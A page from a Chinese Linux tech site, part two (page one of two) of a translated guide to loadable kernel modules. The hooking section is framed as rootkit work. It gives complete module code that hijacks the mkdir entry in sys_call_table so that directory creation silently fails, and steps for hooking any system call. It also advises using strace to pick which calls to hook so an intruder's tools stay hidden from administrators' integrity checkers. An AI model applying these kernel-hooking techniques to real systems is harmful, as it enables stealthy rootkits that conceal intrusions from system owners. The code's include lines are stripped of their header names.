极限首页 业界焦点 软件工程师之路 系统工程师之路 网络工程师之路 软件下载 技术社区
 Linux操作系统的内核编译内
 Linux下设备完全驱动之四
 Linux下设备完全驱动之二
 Linux下设备完全驱动之三
 Linux下设备完全驱动之一
 Linux内核如何从2.4升级到
 开源世界的虚拟机 QEMU
 Linux下软件RAID的实现
 RHEL4内建LVM工具入门
 linux SSH 的一些安全小技
 Linux操作系统的内核编译内
 Linux下设备完全驱动之四
 Linux下设备完全驱动之二
 Linux下设备完全驱动之三
 Linux下设备完全驱动之一
 Linux内核如何从2.4升级到
 开源世界的虚拟机 QEMU
 Linux下软件RAID的实现
 RHEL4内建LVM工具入门
 linux SSH 的一些安全小技

Shell 中文手册

Python 2.3 中文手册

Python 2.4 中文手册

Mysql 4.x 中文手册

PHP 4.x 中文手册

Apache 2.x 中文手册
更多手册

站内搜索:
当前位置:首页>>系统工程师之路>>管理进阶>>正文
Linux系统可卸载内核模块完全指南(中)(1)
时间:2005-09-25 作者:IHH 来源:赛迪

  前面我们讲了Linux系统可卸载内核模块完全指南(上)的内容,本期我们讲中间部份的内容。

第二部分 渐入佳境

2.1 如何截获系统调用

现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。

下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。



#define MODULE
            #define __KERNEL__
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            #include
            extern void* sys_call_table[];
            /*sys_call_talbe 被引入,所以我们可以存取他*/
            int (*orig_mkdir)(const char *path);
            /*原始系统调用*/
            int hacked_mkdir(const char *path)
            {
            return 0;
            /*其他一切正常,除了新建操作,该操作什么也不做*/
            }
            int init_module(void)
            /*初始化模块*/
            {
            orig_mkdir=sys_call_table[SYS_mkdir];
            sys_call_table[SYS_mkdir]=hacked_mkdir;
            return 0;
            }
            void cleanup_module(void)
            /*卸载模块*/
            {
            sys_call_table[SYS_mkdir]=orig_mkdir;
            /*恢复mkdir系统调用到原来的哪个*/
            }

编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。

截获系统调用的通常步骤如下:

找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)

保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)

将你自己定义的新的函数指针存入sys_call_table[x]

你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是:

我到底该截获哪个系统调用?

2.2一些有趣的系统调用

你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。

读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b

下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c

一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。

要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。

例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。

最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。

我们不能确定这个程序到底是如何工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。

那我们应该如何继续呢?

2.2.1 发现有趣的系统调用(strace方法)

假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendixa),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。

好,现在用strace来运行这个程序(也许你需要root权限来执行他)



# strace super_admin_proggy


这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:

execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
            mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
            0x40007000
            mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
            mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
            stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
            open("/etc/ld.so.cache", O_RDONLY)   = 3
            mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
            close(3)                = 0
            stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
            directory)
            open("/lib/libc.so.5", O_RDONLY)    = 3
            read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
            mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
            mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
            = 0x4000c000
            mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
            0x81000) = 0x4008e000
            mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
            close(3)                = 0
            mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
            munmap(0x40008000, 13363)       = 0
            mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
            mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
            mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
            personality(PER_LINUX)         = 0
            geteuid()               = 500
            getuid()                = 500
            getgid()                = 100
            getegid()               = 100
            brk(0x804aa48)             = 0x804aa48
            brk(0x804b000)             = 0x804b000
            open("/usr/share/locale/locale.alias", O_RDONLY) = 3
            fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
            mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
            0x40008000
            read(3, "# Locale name alias data base\n#"..., 4096) = 2005
            brk(0x804c000)             = 0x804c000
            read(3, "", 4096)           = 0
            close(3)                = 0
            munmap(0x40008000, 4096)        = 0
            open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
            or directory)
            open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
            fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
            mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
            close(3)                = 0
            geteuid()               = 500
            open("/etc/passwd", O_RDONLY)     = 3
            fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
            mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
            0x4000b000
            read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
            close(3)                = 0
            munmap(0x4000b000, 4096)        = 0
            fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
            mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
            0x4000b000
            write(1, "r00t\n", 5r00t
            )         = 5
            _exit(0)                = ?



  共2页: 1 [2] 下一页   
推荐】【 】【关闭


关于极限 | 站内地图 | 意见反馈 | 广告服务 | 数据服务 | 联系我们
本站所刊登的文章,技术资料,软件均整理于网络资源或本站原创,转载请务必联系原作者或本站。
Copyright ? 2001-2004 UPLinux.com All Rights Reserved.
本站唯一联系信箱:
京ICP备05010519